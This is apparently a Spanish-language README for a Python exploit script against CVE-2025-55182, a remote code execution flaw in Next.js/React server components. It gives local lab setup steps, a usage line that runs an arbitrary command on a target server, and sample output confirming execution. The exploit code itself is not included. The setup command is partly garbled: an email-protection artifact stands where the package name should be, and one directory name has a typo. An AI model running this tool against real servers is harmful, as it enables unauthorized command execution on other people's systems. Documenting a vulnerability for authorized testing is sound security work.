CVE-2025-55182 Exploit en Python

Script de Python 3 que puede utilizarse para demostrar CVE-2025-55182. Explota una vulnerabilidad de inyección de JavaScript del lado del servidor en aplicaciones Next.js/React, lo que permite la ejecución remota de código mediante datos de formulario multipart malformados.

⚠️ Solo para fines educativos y de pruebas autorizadas.

---

Configuración del laboratorio

De https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/

npx [email protected] sample-app --yes
cd sample app
npm run build
npm run start

🚀 Uso

🔧 Requisitos previos

pip install requests

Ejemplo de uso

python3 exploit_cve_2025_55182.py -u http://localhost:3000 -c "id"

Opciones

-u Dominio o IP de destino con protocolo - http://localhost:3000 -c Comando a ejecutar en el servidor - id

Ejemplo de salida

[+] Sending exploit to http://localhost:3000 with command: id
[+] Command Result:
uid=1000(app) gid=1000(app) groups=1000(app)

Referencia

https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/